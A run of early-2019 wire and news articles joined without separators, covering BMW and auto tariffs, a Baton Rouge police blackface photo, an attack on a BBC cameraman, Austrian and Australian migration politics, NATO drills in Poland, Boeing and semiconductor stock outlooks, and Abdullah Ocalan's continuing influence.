"I'm not at politician, but we'll deal with the consequences," he added.

BMW is a German company that both imports vehicles into the United States and exports them out, many from a factory in Spartanburg, South Carolina  BMW's largest globally. The automaker is expanding production at the plant and expects to hit a near-record level of production this year of more than 400,000 vehicles, most of them premium sport utility vehicles and crossovers which are quickly growing in popularity with buyers both in the United States and around the world. BMW says it is the largest U.S. exporter of vehicles in terms of total sales. It exported $8.8 billion in vehicles in 2017, according to the Commerce Department.

Part of problem for BMW is that it stands to be hit with import tariffs on sedans imported into the United States, and potentially hit with retaliatory tariffs in other countries on U.S.-made vehicles. China, for instance, briefly raised tariffs on any U.S.-made vehicles to 40 percent in 2018 in response to U.S. duties on Chinese products.

U.S. premium SUV sales climbed from roughly 1 million in 2015 to 1.3 million in 2018 and are expected to hit 1.5 million by 2020.



President Donald Trump has repeatedly railed against what he says is a fundamental trade imbalance between the United States and its trading partners, including China and European countries. Tariffs, such as the 25 percent tax on imported pickups, have been successful in keeping American-made trucks popular and U.S. workers employed, he said on Twitter in late November.

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"The reason that the small truck business in the U.S. is such a go to favorite is that, for many years, Tariffs of 25% have been put on small trucks coming into our country. It is called the "chicken tax,'" he said. "If we did that with cars coming in, many more cars would be built here....."

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Correction: BMW expects to hit a near-record level of production at the Spartanburg, South Carolina, plant this year of more than 400,000 vehicles. An earlier version misstated the number of vehicles.A Louisiana police department is the latest entity to get caught in a scandal involving blackface, adding to a disturbingly growing list of offenders from the late 20th century.

The Baton Rouge Police Department issued an apology after the revelation of a photo showing two of its officers wearing blackface as part of a 1993 undercover operation in which they were impersonating drug dealers in a predominantly black neighborhood.

According to the news website The Rouge Collection, which first published the photo, media outlets in Louisianas capital city were emailed images of a BRPD yearbook with the photo of the two officers in blackface over the caption, Soul brothers. One of the policemen is making what appear to be gang signs.

Blackface photographs are inappropriate and offensive. They were inappropriate then and are inappropriate today, Police Chief Murphy Paul said in a statement. He explained the white officers in question were subject to a different code of conduct at the time.

Today, we would not allow our officers to wear blackface in an official capacity under any circumstances. We have policies in place to prevent our officers from engaging in this type of behavior both on and off-duty.

The mounting instances of persons in position of authority shown to have links to the use of blackface have roiled politics in at least two states and sent some institutions scrambling to scrutinize their past for signs of such a practice.

On Jan. 24, Florida Secretary of State Michael Ertel resigned after the discovery of photos of him dressed as a woman with his face painted black at a 2005 Halloween party.

In Virginia, three of the states top elected leaders have been embroiled in blackface-related controversy, while a fourth one  Lt. Gov. Justin Fairfax, the only African American in the quartet  has been accused of sexual assault by two women.

Democratic Gov. Ralph Northam has resisted continued calls for his resignation since first admitting on Feb. 1 that he was one of the two persons  one wearing blackface, the other one in a Ku Klux Klan outfit  who appeared in a photo on his 1984 medical school yearbook page. Northam later said he actually wasnt in the photo but acknowledged darkening his face to resemble Michael Jackson in a dance contest.

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More: Virginia scandal: Why politicians shouldn't always be purged over past blackface incidents

More: Dapper Dan seeks accountability amid Gucci blackface scandal

Last Wednesday, state Attorney General Mark Herring  who initially was among the Democrats calling for Northam to step aside  acknowledged his own episode of wearing blackface while in college in 1980.

The next day, the Virginian-Pilot newspaper reported that state Sen. Thomas Norment, one of the leading Republicans in Virginia, oversaw a 1968 college yearbook that included several racist photos and slurs.

Also last week, the University of North Carolina denounced racist photos that appeared in a fraternity yearbook in 1979. Two other universities in the state, Wake Forest and Elon, acknowledged finding similarly racially offensive photos during examinations of their yearbooks, the ones from Wake Forest taken in the 1970s.

I think every school, especially schools in the South, are probably examining yearbook materials, Elon spokesman Dan Anderson told the News & Observer in Raleigh, North Carolina.

The admission by Baton Rouge authorities of its officers past tactics comes at a time of latent tensions between primarily white police departments and members of the black community in several cities.

In the last several years, young African Americans like Michael Brown, Eric Garner, Philando Castile and Stephon Clark have been killed by police, often under questionable circumstances, leading to widespread protests.

Opinion: NAACP president: Dehumanizing African-Americans with blackface has real consequences

Opinion: Virginia scandal: Why politicians shouldn't always be purged over past blackface incidents

A 2018 study conducted by the UCLA School of Medicine concluded that police violence disproportionately affects young people of color. The study also showed African Americans are 2 times more likely to die at the hands of police than whites.

Baton Rouge had its own prominent instance of a black man being killed by police in the case of Alton Sterling who, in 2016, was shot to death after two white officers wrestled him to the ground. Neither officer was charged.

For decades, Baton Rouge has lacked enough black representation in its police force, one of the reasons cited for the white officers  identified as Capt. Frankie Caruso and Lt. Don Stone  dressing in blackface during the 1993 sting operation, according to a story in the local Advocate newspaper.

Louisianas second-largest city remains under a 1980 consent decree that aims to improve opportunities for African Americans and women to get hired in the police and fire departments.

The Advocate reported in July that while blacks make up 55 percent of Baton Rouges population of 225,000, they only represent 33 percent of the police force. Whites compose 37 percent of the population and 65 percent of the police.

This article originally appeared on USA TODAY: Blackface and black eye: Louisiana police department latest embroiled in racist scandalWashington (AFP) - The BBC asked the White House to review security arrangements Tuesday after a BBC cameraman was assaulted at a rally in Texas with President Donald Trump.

British Broadcasting Corporation cameraman Ron Skeans was attacked by a Trump supporter yelling anti-media slogans during the US president's rally in El Paso late Monday.

As he does at most rallies, Trump had repeatedly encouraged the crowd to boo at the journalists covering the event, accusing them of "fake" coverage.

However, Trump spokeswoman Sarah Sanders said the president "condemns all acts of violence against any individual or group of people, including members of the press."

"We ask that anyone attending an event do so in a peaceful and respectful manner," she said.

Skeans was unhurt and the assailant, who was wearing a "Make America Great Again" hat, was restrained by a blogger for the pro-Trump outlet Frontline America and removed from the media riser.

Paul Danahar, the BBC's Americas bureau editor, said in a tweet that he had asked Sanders for a "full review of security arrangements after last night's attack."

"Access into the media area was unsupervised," Danahar said. "No one in law enforcement intervened before, during or after the attack."

Danahar dismissed a statement from the "Trump for President" campaign, which expressed appreciation for "the swift action from venue security and law enforcement officers."

"There was no swift action to prevent or interrupt the attack by any security agency," Danahar said.

The White House Correspondents' Association also condemned the attack.

"We are relieved that, this time, no one was seriously hurt," said WHCA president Olivier Knox. "The president of the United States should make absolutely clear to his supporters that violence against reporters is unacceptable."

BBC Washington correspondent Gary O'Donoghue, who was covering the El Paso event, said his cameraman was pushed and shoved by the unidentified assailant "after the president repeatedly goaded the crowd over supposed media bias."

Story continues

He said the man attempted to smash the BBC camera.

"Happily, Ron is fine," O'Donoghue said.

Trump paused his remarks following the commotion in the crowd and -- pointing at the media -- asked "You alright? Everything OK?"

He resumed his attacks on the press later in the speech, referring to the "totally dishonest media."

Trump frequently denounces the media as the "enemy of the people" and condemns critical reports about his administration as "fake news."

New York Times publisher A.G. Sulzberger urged Trump during an interview last month to tone down what he called his "potentially dangerous" rhetoric toward the press.VIENNA (Reuters) - Austria's right-wing government announced on Wednesday tougher sentences for violent crimes, particularly against female victims, while pointing to a recent spate of cases in which foreigners are suspected of murdering women. Austria's ruling coalition of conservatives and the far right came to power on the back of Europe's migration crisis, pledging to prevent a repeat of that influx in which the country took in about 1 percent of its population in asylum seekers in 2015 alone, many from the Middle East and Afghanistan. The latest crime statistics available, those for 2017, show the number of crimes overall and violent crimes falling in the Alpine republic, which also has one of the lowest murder rates in the European Union. But the tabloid press and the government have seized on eight unrelated killings of women this year, most believed by police to have been committed by foreigners, as an unacceptable spike. "We have seen at the beginning of this year that an almost eerie series of murders has struck this country," Interior Minister Herbert Kickl of the far-right Freedom Party told a news conference outlining the planned measures. "We observe that very, very often people involved in these violent crimes are not Austrian and are from other countries and other cultures," Kickl told the joint news conference with conservative Chancellor Sebastian Kurz and other ministers. The package of measures itself, which includes raising the minimum sentence for rape and putting female genital mutilation on the statute book, does not specifically target foreigners. It has also been months in the making, following up on a coalition pledge to toughen sentences for sex offences and violent crimes. Kickl's comments, however, are the latest by this government juxtaposing immigration and crime but stopping short of saying one causes the other. The main suspect in the latest murder, committed in Vienna on Tuesday night, is a Bosnian citizen. Kickl and Kurz said last month they are examining whether they can legally increase the number of offenses for which refugees can be stripped of their status and deported, beyond the current list of severe crimes such as murder. Kurz also dismissed criticism by lawyers and others who have said stricter sentencing alone is not an effective deterrent. "I... have little understanding for some experts' criticism of our plans which in my opinion are very sensible and right. Whoever commits an offense against women and children in Austria does not deserve clemency but proper, hard punishment, he said." (Reporting by Francois Murphy; Editing by Toby Chopra)VIENNA (Reuters) - Europe should agree a joint position on whether or not Chinese firm Huawei is allowed to equip 5G networks for next-generation mobile networks to ensure fair competition, Austria's technology ministry said on Wednesday. The European Commission is considering a de facto ban on Huawei's 5G network equipment due to security concerns. U.S. Secretary of State Mike Pompeo and U.S. Vice President Mike Pence have been lobbying European politicians this week to ditch the Chinese firm's network products. The Austrian ministry said in a statement that it "considers it useful to address the issue at a European level and to define a common approach". "However, it must also be ensured that competition in Europe and Austria is not restricted," it added. Huawei, the global networks market leader with annual sales exceeding $100 billion, is the subject of U.S. security concerns over its ties with the Chinese government and suspicion Beijing could use its technology for spying. It denies the allegations and said on Wednesday it was ready to work with governments and tackle extra security measures to address the issues. A1 Telekom Austria, controlled by Mexico's America Movil and the Austrian state, said that it does use Huawei parts and Nokia is its main network supplier, although its Chief Executive Thomas Arnoldner said a decision regarding 5G equipment has not been made yet. Local rival T-Mobile Austria, Deutsche Telekom's Austrian unit, has said it is working with Huawei, Nokia and Cisco and is re-evaluating its procurement strategy. Deutsche Telekom has proposed a series of technical and compliance measures to safeguard security, including setting up an independent laboratory to scrutinize all equipment used in critical infrastructure before it is deployed. Hutchison Whampoa's Drei Austria has said that Huawei played a minor role as a network supplier at Drei. "Without Chinese hardware, without American software, we can't perform in the world of the global players. One could discuss certification and security measures, but raising walls is certainly the wrong way," it said. (Reporting by Kirsti Knolle; Editing by Alexander Smith)Sydney (AFP) - A controversial offshore migrant detention centre on Christmas Island is to reopen, Australian Prime Minister Scott Morrison announced Wednesday, as he doubled down on hardline policies after a historic legislative defeat.

Morrison approved the reopening of the remote facility -- closed just months ago -- claiming new laws just passed by parliament would increase the number of people trying to arrive in Australia illegally.

On Tuesday and Wednesday parliament rebuffed government warnings and adopted legislation opening the door for some of the 1,000 refugees detained in existing offshore centres on Nauru and Papua New Guinea's Manus Island to travel to Australia for medical treatment if the transfers are requested by two or more doctors.

It was the first time in decades that an Australian government has lost a vote on its own legislation in the House of Representatives.

Morrison brushed aside suggestions that the law would only apply to those already in detention and accused the opposition of trying to "weaken and compromise our borders".

His government, he said, was adopting "100 percent" of a series of recommendations from the country's security services to further tighten efforts to prevent the arrival of migrants and asylum-seekers by sea.

He declined to specify what those classified measures were, other than to announce the reopening of the camp on Christmas Island, a remote Australian territory some 2,300 kilometres (1,400 miles) northwest of the western city of Perth.

"If they don't come, it will be because of the work and the decisions we are now taking and the actions we are putting in place," Morrison said. "If they do come, you can thank the Labor Party and (opposition leader) Bill Shorten."

But authorities on Christmas Island questioned the move to reopen the detention centre, saying their health facilities are limited and they "quite regularly" medically evacuate people because their small hospital cannot handle complex treatment.

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"We just wouldn't have the capacity here to deal with people coming here for medical reasons," Shire of Christmas Island CEO David Price told national broadcaster ABC, adding they do not have the specialists to deal with serious mental health problems.

Price said the shire had not been consulted on Morrison's decision, which he labelled a "political knee-jerk reaction".

- 'Cruel and dangerous' -

Morrison's decision comes as both parties gear up for a bitter campaign ahead of a general election due in May and amid fierce debate over the conservative government's harsh immigration policies.

Those policies have seen thousands of asylum-seekers languish for years on Manus and Nauru under conditions widely condemned by the United Nations and human rights organisation.

A dozen refugees have already died in the Manus and Nauru camps and a number have attempted suicide, including children.

"Ensuring access to adequate medical care for refugees and asylum-seekers is a life-saving, humanitarian act," said Louise Aubin, the representative of the United Nations High Commissioner for Refugees in Canberra.

The opposition Labor party responded furiously to what it called Morrison's "scare tactics" and said he was manufacturing a fear of migrants to win votes.

Labor's shadow solicitor general Mark Dreyfus accused Morrison of encouraging "people smugglers to re-start their evil trade," declaring him "not fit to be PM of this country".

Morrison refused calls to step down or call an early election in the wake of the parliamentary setback, insisting that Australians would have time to make their choice in May.

Opinion polls consistently show the Labor Party easily taking control of government in the election.

The facility on Christmas Island once held thousands of people and was the scene of violent protests by detainees complaining of harsh conditions.

The last 35 detainees were taken off the island last October, when the camp was shuttered.Orzysz (Poland) (AFP) - With the Russian border little more than an hour away, the desolate grey sky burst open with an explosion of fire and a plume of smoke. If the scene evoked the Cold War, it was intentional.

US Secretary of State Mike Pompeo trekked Wednesday to the Polish town of Orzysz to witness NATO live-fire exercises in an unmistakable sign to Warsaw that the United States has its eye on Russia.

Pompeo walked through drizzling rain with senior Polish officials over frozen soil and patches of snow to a reviewing stand as several hundred troops stood at attention.

Pompeo, a West Point graduate who served as a US Army cavalry officer in Germany when Poland was on the other side of the Iron Curtain, said little had changed except, he joked, that back then he was listening to cassette tapes of Van Halen.

The US defense chief likened Orzysz, around 70 kilometres (45 miles) from Russia's Baltic Sea enclave of Kaliningrad, to divided Germany's infamous Fulda Gap -- where NATO feared that Soviet tanks could penetrate its defenses.

"Today, the gap in which we stand occupies the same priority focus for NATO commanders that the Fulda Gap did back then -- once again because of Russian aggression," Pompeo said in reference to the so-called Suwalki Gap.

He said that the concern was not theoretical, denouncing Russian President Vladimir Putin for the 2014 annexation of the Crimean peninsula and ongoing support for separatists in Ukraine, as well as Moscow's war a decade earlier with Georgia.

"We take seriously those concerns that Russia may one day try to open a front along a line right here," Pompeo said.

- Simulated battle -

Pompeo then advanced with senior Polish officials including Foreign Minister Jacek Czaputowicz to observe exercises by troops from the five countries at the base -- the United States, Poland, Britain, Croatia and Romania.

Amid startling shots from rocket launchers, 20 troops sprinted from a corner for a display of hand-to-hand combat, simulating punching and kicking one another as if in the throes of battle.

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Pompeo watched with a smile as Bradley armoured vehicles rolled by and a dozen soldiers jumped out before him and squatted with their rifles, shooting metallic targets in the shape of enemy bodies.

A Polish officer provided a running, dispassionate narrative in precise English, explaining, "The snipers wait patiently for the enemy soldier to present the opportunity for the perfect shot."

- Wooing the US -

Putin has accused the United States of trying to contain Russia and has pledged to boost Moscow's own military, including by deploying nuclear-capable Iskander missiles to Kaliningrad.

Meanwhile, US President Donald Trump has voiced admiration for Putin and mused that NATO -- which considers an attack on any of its 30 members an attack on all -- cheats the United States out of money.

Believing a permanent US presence would be the ultimate deterrent, Poland has offered to contribute to building a US base -- which it has cheekily suggested could be called Fort Trump.

Asked about a troop increase, Pompeo said the United States was "taking a look at it".

NATO promised Russia in 1997 not to station significant forces in the former eastern bloc. As tensions have grown however, the alliance has instead rotated troops through front-line countries.

Poland offered an additional sweetener on Wednesday. US Vice President Mike Pence, also in the country, said Warsaw would buy $414 million worth of US mobile rocket launchers -- good news for the transaction-minded Trump.By David Shepardson (Reuters) - The chief executives of Apple Inc, Walmart Inc, IBM Corp and other major companies are joining a Trump administration advisory board that hopes to prepare U.S. workers to deal with job training issues and the worforce shift brought by artificial intelligence and automation, the U.S. Commerce Department said on Wednesday. President Donald Trump signed an executive order in July creating the 25-member board, co-chaired by adviser Ivanka Trump and Commerce Secretary Wilbur Ross, to address workforce issues including "automation, and artificial intelligence that is shaping many industries." Other chief executives joining the board are those of Lockheed Martin Corp, Siemens USA, Home Depot Inc and Visa Inc. The board members will serve until 2020 and will work with the administration's National Council for the American Worker "to develop and implement a strategy to revamp the American workforce to better meet the challenges of the 21st century." Trump's executive order said "for too long, our countrys education and job training programs have prepared Americans for the economy of the past." Ivanka Trump said in a statement the administration wants "all Americans to have the skills and opportunities to secure good paying jobs and successfully navigate technological disruptions and the rapidly changing nature of work." Also joining are the chief executives of the Chamber of Commerce and National Association of Manufacturers, as well as the governors of Iowa and Indiana. On Tuesday, the Bureau of Labor Statistics said U.S. job openings reached a record high in December at 7.3 million. The White House says the job openings present "a mismatch between the skills needed and those being taught, requiring immediate attention to help more Americans enter the workforce."In August 2017, Trump disbanded two high-profile business advisory councils after numerous chief executives quit in protest over his remarks blaming violence in Virginia on anti-racism activists as well as white nationalists. Trump dissolved the American Manufacturing Council and the Strategic and Policy Forum after eight executives, including the CEOS of Campbell Soup Co and 3M Co, quit the panels. Both councils were moving to disband on their own when Trump made his announcement on Twitter. (Reporting by David Shepardson; Editing by Chizu Nomiyama and David Gregorio)Billionaire Bill Gates has criticised plans to impose higher rates of tax on the super-rich  like the one suggested by Alexandria Ocasio-Cortez  as being too extreme.

The Democratic congresswoman for New York has said she wants to tax income over $10m at 70 per cent, arguing that it is immoral to allow billionaires to amass great wealth amid intense poverty.

But the Microsoft co-founder said some of the left-wing proposals were so extreme it would only push the wealthiest people in the US to hide more of their income from the tax authorities.

We can be more progressive without really threatening income generation, Mr Gates told a podcast by the tech website The Verge.

The philanthropist argued that with all the stocks and assets owned by the super-rich, deciding to reform on the ordinary income rate was a misfocus. If you focus on that, youre missing the picture.

The billionaire added: I believe US tax rates can be more progressive. Now, you finally have some politicians who are so extreme that Id say, No, thats even beyond. You do start to create tax dodging and disincentives, and an incentive to have the income show up in other countries and things.

Ms Ocasio-Cortez said last month: I do think that a system that allows billionaires to exist when there are parts of Alabama where people are still getting ringworm because they dont have access to public health is wrong.

I dont think that necessarily means that all billionaires are immoral, she added. Its not to say someone like Bill Gates or Warren Buffet are immoral people.

Microsoft co-founder (AFP/Getty Images)

Mr Gates and his wife Melinda Gates have been pushing back against a new wave of criticism about whether billionaire philanthropy is a force for good.

The debate sparked into life last month at the World Economic Forum in Davos, Switzerland, where the Gates Foundation was a sponsor and Mr Gates discussed global health.

On one panel, historian Rutger Bregman berated all these stupid philanthropy schemes and suggested such billionaire-funded giving amounted to tax avoidance that exacerbated the problems it sought to tackle.

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It feels like Im at a firefighters conference and no ones allowed to speak about water, Mr Bregman said. Just stop talking about philanthropy and start talking about taxes.

Ms Gates said the couple see a responsibility to support other philanthropists who want to do some good with their riches.

We take the converse side of that, which is we say: What can we do personally with our wealth? What can we role model for others, and how do we get other people of great wealth to give their money away? she told Associated Press.

The couples foundation has spent nearly $7 million over the last three years building up a non-profit system to support both donors and grantees.

In 2010, Mr Gates launched the Giving Pledge, which has 187 wealthy members committed to giving away most of their money.By Svea Herbst-Bayliss

BOSTON (Reuters) - Hedge fund manager William Ackman told investors that his publicly traded portfolio has gained 24.7 percent this year, fueled by strong growth in Fannie Mae, Freddie Mac and Chipotle Mexican Grill stocks.

"2019 is off to a strong start," Ackman wrote in a presentation detailing his Pershing Square Capital Management's portfolio and performance. The S&P 500 stock index has gained 9.7 percent this year.

"We expect our portfolio to compound earnings and intrinsic value at a much higher than the market," Ackman wrote in the presentation.

The firm now oversees $7.9 billion, with the bulk of assets located in Pershing Square Holdings. His private hedge fund, Pershing Square International Ltd, oversees roughly $1.2 billion.

Mortgage lender Fannie Mae common shares have surged 140.6 percent while Freddie Mac shares have climbed 130.2 percent to power the portfolio, Ackman wrote. Chipotle shares gained 37.5 percent and United Technologies shares have climbed 16.4 percent, he added, noting that all holdings are in the black.

For Pershing Square Holdings, the first weeks of 2019 mark the strongest returns since 2014, when the portfolio returned 40.5 percent.

Over the last four years, Ackman has lost money and he has vowed to make it back by reshaping his organization.

(Reporting by Svea Herbst-Bayliss; Editing by Steve Orlofsky)Abortion-rights advocates have turned on Senator Kyrsten Sinema (D., Ariz.) after she announced she would vote to confirm one of President Trumps judicial nominees.

NARAL Pro-Choice America, among the largest groups of its kind, ripped Sinemas support for pro-life judge Michael Liburdi, whom Trump nominated to the U.S. District Court for the District of Arizona.

Sinema told the Senate Judiciary Committee during a hearing that she has known Liburdi for years and considers him a well-respected attorney.

Mike and I do not share all the same political beliefs, but I believe the role of the Senate is to evaluate every nominee based on whether he or she is professionally qualified . . . and can be trusted to faithfully interpret and uphold the law, Sinema said.

You cant claim you are an advocate of women and our reproductive freedom just because you vote correctly on some legislation if, at the same time, you help elevate right-wing judges who will inflict long-term damage to our cause, read a statement from NARAL president Ilyse Hogue.

This content is not available due to your privacy preferences. Update your settings here to see it.

NARAL complained about Liburdis stint chairing the Arizona Right to Life PAC as well as his support of a state law requiring women to fill out a checklist defending their reason for having an abortion, which information abortion providers must then turn over to the state.

Senator Sinema, like so many Democrats, was elected last year in large part due to a wave powered by women voters who wanted to put a check on this runaway Administration. So to use one of her first acts in office to help elevate a judge with a clear anti-choice record is beyond troubling, Hogues statement said.

Sinema has also said she will support Trumps pick for attorney general, William Barr.

More from National ReviewThe best semiconductor stocks this year.

The semiconductor market mirrored the broader global market in the second half of 2018, softening after an impressive multi-year run. According to a new report by Goldman Sachs analyst Toshiya Hari, semiconductor investors can expect more headwinds in the first half of 2019, making stock selection in the space critical. The easy money in semiconductors this cycle has already been made, and Hari says investors should shift focus to companies with low exposure to troubled end markets like memory, auto, industrials and smartphones. Here are Goldman's seven top semiconductor stocks to buy.

Xilinx (ticker: XLNX)

Hari's top semiconductor stock for long-term investors is Xilinx, Goldman's only semi stock to make its Americas Conviction List. Hari says Xilinx's 2018 fundamental momentum will spill over into 2019 thanks to its exposure to relatively strong end markets such as communications (35 percent of revenue), aerospace and defense (11 percent of revenue) and test and measurement instrumentation (13 percent of revenue). The build-out of 5G wireless infrastructure will be key for Xilinx, which has high exposure to communications infrastructure, such as cellular base stations. Goldman Sachs has a "buy" rating and $95 price target for XLNX stock.

Nvidia Corp. (NVDA)

Hari says Nvidia will have a rebound year. He says headwinds in gaming and data center segment revenue growth in the second half of 2018 will persist in the first half of 2019, but each of Nvidia's four segments has key growth catalysts coming in the second half of the year. The gaming segment should get a boost from the launch of new games that support ray tracing, while the data center business should be driven by the rise of artificial intelligence and inference software. Goldman Sachs has a "buy" rating and $184 price target for NVDA stock.

Advanced Micro Devices (AMD)

Advanced Micro Devices was Goldman's top semiconductor stock of 2018, gaining nearly 80 percent on the year. Hari isn't expecting another 80 percent rise in 2019, but he says AMD will continue to gain market share from Intel Corp. (INTC) in both the PC and server markets. Hari says CPU shortages will incentivize Intel customers to switch to AMD, and server customers are likely happy to have a viable alternative supplier as well. Finally, AMD's recent product launches have gotten overwhelmingly positive reviews. Goldman Sachs has a "neutral" rating and $25 price target for AMD stock.

Story continues

Broadcom (AVGO)

After a tumultuous 2018, Broadcom recently guided for another year of double-digit revenue growth in 2019 to go along with its 4.1 percent dividend. Broadcom management may also pursue additional software acquisitions following the company's controversial deal for CA Technologies in 2018. In the longer term, 5G smartphone architecture should meaningfully drive Broadcom demand in 2020 and beyond. Hari says investors can expect the RF market to markedly improve once significant 5G demand starts to kick in. Goldman Sachs has a "neutral" rating and $264 price target for AVGO stock.

NXP Semiconductors (NXPI)

NXP was Goldman's worst performing semiconductor stock in 2018 after Broadcom opted to scrap a potential NXP buyout. Following the decline, Hari says NXPI stock is now a compelling valuation opportunity, even given weakness in the auto market. Auto represents about half of NXP's total revenue. NXPI is priced at a significant valuation discount with an enterprise multiple of only around 8.3 compared to a 12.5 peer average. Hari says analysts also seem to be underestimating the impact of the company's aggressive stock buyback plan. Goldman Sachs has a "buy" rating and $94 price target for NXPI stock.

Skyworks Solutions (SWKS)

Skyworks is another stock that may require patience given the slow ramp in 5G demand. Skyworks has the highest net exposure to mobile devices in Goldman's coverage group, with about 70 percent of total revenue coming from mobile demand. Hari says SWKS stock has significant upside, even at a compressed 11x normalized earnings multiple. In the near term, SWKS stock will likely react strongly to Apple (AAPL) iPhone sales given the company's high exposure to Apple devices. Goldman Sachs has a "neutral" rating and $76 price target for SWKS stock.

Keysight Technologies (KEYS)

Keysight was the best performing stock in Goldman's semiconductor capital equipment coverage group in 2018. Hari says Keysight is one of the few relatively defensive plays in the semiconductor space given roughly half of its total revenue comes from the communications and defense markets. He says the communications business has several catalysts in 2019, including 5G infrastructure research and development. Hari's earnings estimates are 5 percent above consensus in 2019 and 12 percent above consensus in 2020. Goldman Sachs has a "buy" rating and a $76 price target for KEYS stock.

The best semiconductor stocks to buy in 2019.

Goldman Sachs analyst Toshiya Hari ranks these seven stocks as the best semiconductor stocks to buy this year:

-- Xilinx (XLNX)

-- Nvidia Corp. (NVDA)

-- Advanced Micro Devices (AMD)

-- Broadcom (AVGO)

-- NXP Semiconductors (NXPI)

-- Skyworks Solutions (SWKS)

-- Keysight Technologies (KEYS)The Boeing Company (NYSE: BA) has had a very strong start to 2019, but as ever investors will want to know what's coming next. In this context, let's take a look at three of the most important things investors should expect from the company in 2019.

Production ramp on the 737 & 787 programs

First, Boeing Commercial Airplanes (BCA) expects to deliver 895-905 planes in 2019, and "planned 737 and 787 production rate increases" are assumed as part of the delivery guidance according to CFO Gregory Smith. The company plans to increase the 737 production rate from 52 a month in 2018 to 57 a month in 2019, and the 787 production rate is expected to increase to 14 a month from 12 a month in 2018.

A Boeing 777X.

Boeing is expecting some more orders for the 777X. Image source: The Boeing Company.

The production ramps are important not only because selling more planes generates more profit, but also because Boeing tends to reduce the unit cost of production as it increases the rate -- meaning that margin could expand as well.

However, it's not all going to be smooth sailing. Boeing had to deal with well-documented supply chain issues in 2018, and they are likely to continue in 2019. One of the issues is that CFM International (a joint venture between General Electric Company (NYSE: GE) and Safran Aircraft Engines) is behind schedule on the LEAP engine -- the sole engine on the 737 MAX.

According to General Electric CFO Jamie Miller, LEAP production is "still behind on deliveries by about 4 weeks, but the business expects to be back on schedule by mid-2019." This suggests Boeing will still face issues in 2019. Boeing CEO Dennis Muilenburg recently disclosed "we're doing some additional work with CFM, including deploying some additional Boeing personnel to their factories and to their sub-tier suppliers. So that's one area that will have some additional focus for us in the first quarter."

Investors should keep a close eye on what GE's management says about LEAP production, because it's key to the 737 production ramp -- and this an especially important area of the company's business, as Boeing plans for the 737 MAX to account for 90% of 737 deliveries in 2019, compared to around half in 2018.

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BCA margin expansion

BCA operating margin expanded from 9.4% in 2017 to 13% in 2018, and is forecasted to improve to 14.5%-15% in 2019. That increase comes down to a combination of increased volume, a more favorable mix of production, and productivity improvements. The latter is extremely important, because margin improvements that come from productivity increases might be more sticky in the event of a slowdown in end demand.

With BCA looking set to achieve its target of 15% margin in 2019, Muilenburg was asked whether he would be issuing a new target. He wasn't drawn to give a specific figure, but argued that the company is "looking for...continued year-over-year margin and cash flow growth."

All told, don't be surprised if Boeing gives an upgraded target for BCA margin at some point in 2019. This could lead analysts to upgrade long-term earnings and cash flow forecasts.

Time for more 777X orders?

Boeing's management is expecting a pickup in replacement demand for wide-body aircraft beginning at the start of the next decade, and the new 777X aircraft is expected to drive growth. The first delivery of the 777X is expected in 2020, and Boeing already has 326 aircraft on order.

However, there hasn't been a new order since 20 aircraft were ordered by Singapore Airlines in 2017, and the previous order was for a mere 10 in 2015.

That said, orders should pick up in 2019, not least because, as Muilenburg outlined, the company is "now shifting our teams more and more to 777X opportunities" as opposed to the legacy 777 aircraft. In this context, it's reasonable to expect some 777X orders in 2019. If so, Boeing stock could see some upside as investors price in a coming recovery in the wide-body aircraft market.

Looking ahead

Boeing stock has had a great run in the last three years (up 270%), and it looks like there could be more to come. The plan is simple: Management wants to capitalize on a boom in passenger traffic and airplane orders by ramping production of aircraft while trying to take advantage of its virtual duopoly with Airbus in order to reduce supply costs and expand its own manufacturing footprint. Meanwhile, the investment and growth at Boeing Global Services (BGS) is part of a conscious effort to make its earnings less cyclical.

Putting all this together, there's a strong case for arguing that Boeing's stock deserves a positive rating: Its business is becoming less cyclical thanks to an improved outlook for airline profitability, and its margin levels are expanding.

More From The Motley Fool

Lee Samaha has no position in any of the stocks mentioned. The Motley Fool has no position in any of the stocks mentioned. The Motley Fool has a disclosure policy.Ankara (AFP) - When Turkish authorities arrested Kurdish militant leader Abdullah Ocalan two decades ago, it struck a blow to his outlawed separatist group but experts say his influence remains significant as a key player in any future peace deal.

Ocalan founded the Kurdistan Workers' Party (PKK) -- blacklisted as a terror group by Ankara, the United States and the European Union -- in 1978 with a group of fellow students to seek Kurdish autonomy.

The party became an armed group from 1984, with the objective of creating an independent Kurdish state. More than 40,000 people were killed during the PKK's insurgency.

Prior to his 1999 arrest, Ocalan was in exile in Syria until Damascus and Ankara reached an agreement in 1998 and he was forced to leave.

He was eventually caught in Kenya outside the Greek embassy in Nairobi on February 15, 1999 by Turkish secret service agents.

Now he is in a notorious prison on Imrali island off Istanbul and despite almost complete isolation remains a reference figure for the Kurdish cause not just in Turkey but across the region.

"Ocalan's arrest was initially a huge blow to the organisation, because he had controlled every aspect of the PKK and its activities and suddenly he was gone," said Aliza Marcus, author of the book "Blood and Belief: The PKK and the Kurdish Fight for Independence".

"In addition, his decision to suspend the war and basically give up on an independent Kurdistan -- as he announced at his trial -- added a whole new layer of confusion," she said.

But the PKK has been able to adapt, "partly because Ocalan was able to communicate from prison, through interviews and meetings with his lawyers", Marcus said.

- 'Ban on visits' -

For example, in 2013 Ocalan called for -- using lawmakers from the pro-Kurdish Peoples' Democratic Party (HDP) as intermediaries -- a ceasefire to allow peace talks between Ankara and himself to achieve a political settlement.

Story continues

The fragile ceasefire collapsed in 2015 and bloody clashes resumed in the country's southeast.

After the 2016 failed coup, Ankara stepped up its fight against terror under a state of emergency and a decision "was officially taken to ban all visits to Imrali, both for his lawyers and family", one of Ocalan's lawyers, Ibrahim Bilmez, said.

But Ocalan has not had access to his lawyers since 2011.

More than 300 people in jail are on hunger strike calling for Ocalan to be given access to his family members and lawyers, including Leyla Guven, a pro-Kurdish Peoples' Democratic Party (HDP) lawmaker, according to the HDP.

Guven, 55, has been pressing ahead with the strike launched on November 8, although she was released from prison pending trial last month.

In a bid to appease the hunger-strikers, Turkish authorities allowed Ocalan's brother Mehmet to visit him last month for the first time since 2016.

"These hunger strikes put the state in difficulty because the demands are legitimate. This is why Ocalan's brother was sent to Imrali," Bilmez said.

"We have no information, only what Mehmet told us," the lawyer said, but Ocalan wanted the public to know he was "well".

- 'Psychological connection' -

According to Bilmez, there is a "psychological connection" between Ocalan and the Kurdish people, "and they draw strength from each other", meaning the PKK leader retains his influence and popularity.

"In the long run, one has the impression that the arrest paradoxically served the PKK and the Kurdish cause," said Hamit Bozarslan, director of studies at the Paris-based School for Advanced Studies in the Social Sciences.

Bozarslan added that the PKK was more popular today than at the time of his arrest.

